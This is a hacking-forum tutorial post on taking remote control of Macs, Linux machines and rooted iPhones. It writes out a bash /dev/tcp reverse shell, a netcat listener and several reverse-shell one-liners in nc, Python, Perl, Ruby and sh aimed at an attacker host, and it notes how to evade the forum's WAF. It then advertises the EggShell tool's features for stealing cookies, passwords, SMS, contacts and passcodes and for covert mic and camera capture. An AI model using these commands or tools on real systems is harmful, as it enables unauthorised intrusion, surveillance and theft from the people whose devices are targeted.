

Forum:[Hack Forums](#)

Thread: [How to Gain Access to a Mac \[Tutorial\]](#)

sh4moon - December 10, 2018, 12:18 pm

This is a simple tutorial on getting into a Mac computer (also works on linux and rooted iPhones). You don't have to install any RAT on the Mac or anything like that. One of the nice things about Macs is they come with some built in tools that windows doesn't. Let's get to it.

Bash (bourne again shell) is a command line interface for unix-like systems. It allows you to control the OS differently than a GUI (graphical user interface). A convenient feature of bash is that it can be used to pipe a shell over TCP (transmission control protocol). In other words we can send that Bash shell to some other computer, allowing that computer to execute commands on the Mac. All it takes is one command.

Code `bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"bash"` starts a new instance of bash, 10.0.0.1 is the IP of the system to give remote shell access to, 8080 is the port to connect to, 0>&1 runs the command in the background. Now just doing this alone won't do anything if you don't have a server to catch the connection. It's the same as executing a RAT with no server. Nothing will happen. What we'll use to catch it is a free program called netcat ([Download Netcat](#)). Netcat is a program that can make TCP and UDP (User Datagram Protocol) connections. It can catch the reverse shell from bash. Here's what you run from your system's command prompt to setup nc:

Code `n*at -lv 0.0.0.0 8080`(I had to replace the c with an asterisk because HF's WAF got mad at me.) -l is the flag for listen for connections, -v is for verbose so we can see what's happening, 0.0.0.0 is sort of an IP address. It means "listen on all local IP addresses." 8080 is the port bash will be connecting to. The netcat server has to be setup before the bash command is executed. Otherwise it won't work.

It's that easy. All it takes is one command executed and you have access to the Mac. There's a few other things you can use. Mac's have netcat preinstalled. You can also use python, ruby, or perl to get in. Here are some reverse shell one liners that can all be caught by netcat listeners by executing in the macOS terminal. Just substitute the IP and port and you're all set. There's a space between the letters of the first word in the commands that you'll have to remove (WAF).

Code `n c -e /bin/sh 10.0.0.1 1234`Code `py thon -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`Code `p erl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}';`Code `rub y -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'`Code `0<& 196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196`Code `/bin/ sh | nc ATTACKING-IP 80`

There's an awesome tool that uses bash to give you access to a Mac, iPhone, or Linux system. It's called eggshell ([Download EggShell](#)). With it you can do all the same things you can with a bash reverse shell and more. Here's what it can do.

macOS

brightness : adjust screen brightness
cd : change directory
download : download file

getfacebook : retrieve facebook session cookies
getpaste : get pasteboard contents
getvol : get speaker output volume
idletime : get the amount of time since the keyboard/cursor were touched
imessage : send message through the messages app
itunes : iTunes Controller
keyboard : your keyboard -> is target's keyboard
lazagne : firefox password retrieval | (<https://github.com/AlessandroZ/LaZagne/wiki>)
ls : list contents of a directory
mic : record mic
persistence : attempts to re establish connection after close
picture : take picture through iSight
pid : get process id
prompt : prompt user to type password
screenshot : take screenshot
setvol : set output volume
sleep : put device into sleep mode
su : su login
suspend : suspend current session (goes back to login screen)
upload : upload file

iOS

alert : make alert show up on device
battery : get battery level
bundleids : list bundle identifiers
cd : change directory
dhome : simulate a double home button press
dial : dial a phone number
download : download file
getcontacts : download addressbook
getnotes : download notes
getpasscode : retrieve the device passcode
getsms : download SMS
getvol : get volume level
home : simulate a home button press
installpro : install substrate commands
ipod : control music player
islocked : check if the device is locked
lastapp : get last opened application
locate : get device location coordinates
locationservice: toggle location services
lock : simulate a lock button press
ls : list contents of a directory
mic : record mic
mute : update and view mute status
open : open apps
openurl : open url on device
persistence : attempts to re establish connection after close
picture : take picture through the front or back camera
pid : get process id
respring : restart springboard
safemode : put device into safe mode

say : text to speech
setvol : set device volume
sysinfo : view system information
upload : upload file
vibrate : vibrate device

Linux

cd : change directory
download : download file
ls : list contents of a directory
pid : get process id
pwd : show current directory
upload : upload file

I hope you enjoyed the tutorial. If you have a question then feel free to post it or PM me. If you want to add something or correct me then I'll update it with whatever you contribute.